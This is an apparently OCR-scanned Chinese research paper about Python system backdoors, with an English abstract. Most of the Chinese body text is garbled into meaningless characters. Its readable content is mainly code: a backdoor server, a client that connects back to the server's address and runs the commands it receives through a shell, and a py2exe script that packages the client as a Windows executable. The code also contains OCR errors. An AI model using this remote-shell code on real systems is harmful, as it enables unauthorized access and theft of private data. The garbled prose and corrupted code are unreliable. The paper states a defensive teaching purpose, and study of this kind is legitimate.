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Analysis and Implementation based on System Backdoor Attack
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Abstract: In order to help system administrators understand the basic concepts and working principles of backdoor

programs, and to provide the corresponding protection basis, this study first analyzes the working principles of the system

backdoor program, using the advantages of Python language as an attack language. Then, the backdoor server and backdoor

client program code are written separately to implement the attack in virtual machine. For different systems, the article writes

code, creates a setup.py file, ingeniously converts the Python program into an executable Windows file and implements

an attack on the Windows system, and finally issues related commands through the backdoor server to obtain private

information.
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1 5|5 (Introduction)

ENFEEN EEERERELMEEETTA M
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FRESCE, AP FEOFE T EE Sl R SR, E
WP AN P Z2TEENEE T LRI R, 46%
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T, WMEWEHRT, B PET SRR, XA AR
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2 RITEAREL S (Basic concept of back door)
JETTEAR ST TS b kS L3, s &
PR, ZETHWBRS OGRS BotETk ARG
FTIRF 24, HRBITEREES GRS &, G
HERER ., B ks A T80 P AN RS 2% . 1h
7 AR 45 # i Telnet, FTPAERSS HER A P . Bk

HEWH . 20198 Uit E s SR RRERIE BT IEREA T BN A A SRR R SR BB .
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FEAN L BEIET P PR 1] MR 15 I B AR . TR A R
Mk, Bl EIRAME M SNERAR AR K HE, H—EL
H BRI 57 UK B AR B,

R G TR Shddnt, REMERZn HifREZEE]
%P, B EEE B ES S, AR FBOK
ZM TR EWRZEN WebIEE e I 2 il AR
WSO EAETRE . BRI B A R ARG Y SO bl 2 S L
Hei b8 A58, B P Ret & 7E LR RLA S NG
A SCEERBEE], P PCEM it 2 4 15 1], UM
PC, BEAEAREREAE", Mo, WMk 230 AR
FHEF 2B T L5186, .

— A L AN P C H 22 2 (1 A TR S AR A R
SRR, HZIEITRKIENFER, BE - HERE
RGBS I BT B B A, A 93 3 2 4 55 7
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3 J5I' 132 F(Backdoor program)

JETIRE R R 45 25 b5 2 P L. IR S5 28 s AT T 2R
®PC, HPUmBIT TS #PC, B, FEREPCIETTEI]
M55, LT MBS HPCHEITE P s iTh, &k
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Fig.1 The working principles of the backdoor program
3.1 BIREHRIRERF

H AP C 2238 i) KA 0 5 SR R e A % 1T R AY S 1) AR
JFo BBRMEEWE EIRa TR TR HInET, HFEME
HEWABEREAKTE, BamBEltoRaEs. TH2rET
Pythonf J5 I 1k 55 a4 st 7 A D

from socket impert =*

HOST = ' ' #iXE T

PORT = 11443 ##Eh05

s = socket (AF_INET,SOCK_STREAM)

s.setsockopt (SOL_SOCKET SO_REUSEADDR 1)
H# EERT R

s.bind((HOST PORT))

s.listen(10)  #BEEEREBAS) KN

conn addr = s..accept()
addr

print ' Connected by'

data = conn.recv(1024)

while 1.

command = raw_input("Enter shell comand or
HE AL

conn send(command)

quit:")
H Lk
if command == "quit" :break

data = conn.recv(1024)  HPRLER

print data

conn. close()
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SOL_SOCKET, IPPROTO_TCP. IPPROTO_IP=#},
IPPROTO_TCPJi] Tk & TCPHMUZET, IPPROTO_IPHTi%
BIPYFET, SOL_SOCKETH T BEE#HT# AL, I
A% BRSO REUSER ADDR 335 % 715 # i (bind ) £ 238 FI 1
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WMEET1% P . Pythonsisubprocess. PopenZé k&
WoAEE, EI&EFmANRSHEICCAEGLE, 8
Frittiztran . MadHEs, subprocess. PopenZe fi TRz
. FEmL, HIFsITEREIRE)S 1% i, Popen&il
ASEERE MY, HP4 APIPERSFIRE, HEHEBEER
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Fig.2 Popen class working principle
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from socket impert *

HOST = '192.168.1.120 ' # & E 5[ 1HRS5 45 IPHLHE

PORT = 11443 #Hi&EEIRSF 4 5

s = socket.socket (socket. AF_INET,socket.SOCK_
STREAM)

s . connect((HOST PORT))

s . send( ' [*] connection Established! ' )

while 1:
data =s .recv(1024) #MEITRFS AR
if data == "quit":break

proc = subprocess.Popen(data,shell=True stdout=su
bprocess.PIPE stderr = subprocess.PIPE

stdin= subprocess.PIPE) # ;@idPopen()EHHFT M
Ja T IIRSS df By 2

stdout_value = proc.stdout.read() + proc.stderr.
read() #HiBIEERHSERE

s.send(stdout_value)  HHJFITIRS e fh k25 R

s.close()

4 63 windowsTA 1T (Create windows
executable)

REAR G T IIRSS 25 5% P i B AW G 58 i, (B th T4k
B i H AR AR 55 2 (BB A 5) B 2B Py thon# i, i ATR %
FPythonfe e A Windows o[ #4734, A fBIEH BTG
1% P, A AR Py thon e 7 544 Windows 1] #A T SCHF
T oz Bepy 2exebidh, QI BT ZHT, JoBAIE
setup. py 3L, HAMI TR,

from distutils.core import setup

import py2exe

options ={

"bundle_files" 1 HiI
"compressed" .1 = HEHH
"optimize" :2  #HEIMLIL

}

Setup/{

console = ["backdoorClient.py"]
options = ["py2exe" : options]

zipfile = none

}

PAT BT GRS, 2 A R dist SO e R 56 ST
4, R EEAE H1# H dist 0 J2 $ fbackdoor Client . exe U4
BT, e, BIEIFE R 2Py thonFREE Y £ 45 thaf DA
BRI R i

5 BEHKENMAEE(Search for personal
information)
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6 #5it(Conclusion)
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